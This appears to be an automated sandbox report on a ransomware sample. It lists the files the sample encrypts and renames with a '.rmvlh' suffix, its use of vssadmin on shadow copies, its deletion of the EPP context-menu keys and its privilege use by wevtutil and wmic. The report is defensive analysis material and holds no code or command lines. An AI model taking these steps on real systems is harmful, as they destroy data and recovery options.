File opened for modification C:\Users\Admin\Pictures\PingAssert.tiff.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Iy9FB2l6Jj40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\SplitExit.crw.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_gDzxL18xTEM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\BackupAssert.raw.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_ebpHEr_6lLw0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExpandUpdate.raw.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_2OFbuWwoqn80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\ExportSuspend.png => C:\Users\Admin\Pictures\ExportSuspend.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_bsVlQdKjskI0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\SplitExit.crw => C:\Users\Admin\Pictures\SplitExit.crw.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_gDzxL18xTEM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\BackupAssert.raw => C:\Users\Admin\Pictures\BackupAssert.raw.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_ebpHEr_6lLw0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\SuspendUse.tiff => C:\Users\Admin\Pictures\SuspendUse.tiff.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_03chx1Fzo0s0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\SuspendUse.tiff.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_03chx1Fzo0s0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\ConnectRestart.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_TK1ROscmP1s0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\BackupFormat.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Gt5q3L7yNxU0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\ConnectRestart.png => C:\Users\Admin\Pictures\ConnectRestart.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_TK1ROscmP1s0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\ExpandUpdate.raw => C:\Users\Admin\Pictures\ExpandUpdate.raw.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_2OFbuWwoqn80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\ExportUnblock.tiff => C:\Users\Admin\Pictures\ExportUnblock.tiff.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_OR4gpvbsEqA0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExportUnblock.tiff.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_OR4gpvbsEqA0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\BackupFormat.png => C:\Users\Admin\Pictures\BackupFormat.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Gt5q3L7yNxU0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_rsKohAVNM2Q0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\8201_20x20x32.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\ui-strings.js.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_TjBc1vpwB5M0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_1Jt7vXe9r6Q0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE\RIPPLE.INF.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_yRJ0DN6BMKQ0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_f5uOPDcHoTw0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\NotificationsExtensions.winmd C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\ThemeCreation\Effects\effects_lobby_leaves.jpg C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\2475_24x24x32.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\AppStore_icon.svg.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_s5rHSOJzxTk0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ro-ro\ui-strings.js.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Hya6QXUZChc0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_ja_4.4.0.v20140623020002.jar.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_7ZTMsEsr_-A0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\+Connect to New Data Source.odc.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_lHu4WLBO3Ss0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\Assets\Images\Tiles\Square71x71Logo.scale-200.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-24_altform-fullcolor.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner_mini.gif.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_H1u_XeB6GIk0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\da-dk\ui-strings.js.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_szPEo_Fa6UI0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\Content\desktop\en-US\doc_offline_speechrecognition.xml C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Sticker_Kiss.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\common\Board_Yet_Unearned_small.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-tool-view.js.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Unb345mRgBY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\ui-strings.js.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_UW0R9PwfP_40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\animations\OneNoteFRE_PenClick_LTR_Tablet.mp4 C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\highfive.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\AppxSignature.p7x C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteSectionGroupMedTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN103.XML.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Fz2mRgSPd3o0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe\Assets\contrast-black\LargeLogo.scale-200_contrast-black.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe\Assets\Office\CenterView.scale-140.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\210x173\4.jpg C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit.svg.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Xqdt7IxncmI0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\README.md C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_iXxeVoT1uWM0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_vVzL6jBw8Dg0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.targetsize-40.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\pk_60x42.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\Images\Ratings\Yelp5.scale-200.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019VL_MAK_AE-ppd.xrm-ms.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_s1_G6Aiv2BY0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Standard2019R_Retail-ul-phn.xrm-ms.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_DI-JeZF-URc0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\OutlookMailSmallTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Work\contrast-black\LargeTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Line_White@1x.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_FbSBBhzVAYk0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\hu-HU\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_k0zmZhflhoI0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Constantia-Franklin Gothic Book.xml.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_JpJrgY8P5nE0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Grace-ppd.xrm-ms.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_om-pnrX1NEo0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Buttons\Deal\New-Deal-over.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Internet Explorer\ja-JP\ieinstal.exe.mui.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Ak3gqDgyMy40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_it.properties.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_87Df8B-_EE40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\mscss7wre_es.dub.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_MVSOqUV8-FU0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text_2x.gif.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_cRo2WYIf39E0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-48_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-30.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\UnifiedShare.aapp.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_nGADqlMGVL80.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf-2x.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_E-K31WY-_uw0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe\Assets\Office\NewScene.scale-140.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-black_targetsize-30.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\RTL\contrast-white\LargeTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\contrast-black\LargeLogo.scale-100_contrast-black.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\OutlookMailBadge.scale-400.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_b3jq16ZdPvU0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_fEWzoTCVVRs0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\4632_48x48x32.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteAppList.targetsize-256.png C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
